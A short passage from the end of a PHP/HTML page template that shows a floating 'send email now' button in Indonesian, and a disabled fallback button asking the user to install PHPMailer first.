                title="KIRIM EMAIL SEKARANG">
            <div class="btn-icon">📧</div>
            <div class="btn-text">KIRIM<br>EMAIL<br>SEKARANG</div>
        </button>
    <?php else: ?>
        <button type="button" class="floating-send-btn" disabled 
                title="Install PHPMailer Terlebih Dahulu">
            <div class="btn-icon">⚠️</div>
            <div class="btn-text">INSTALL<br>PHPMAILER<br>DAHULU</div>
        </button>
    <?php endif; ?>
</body>
</html>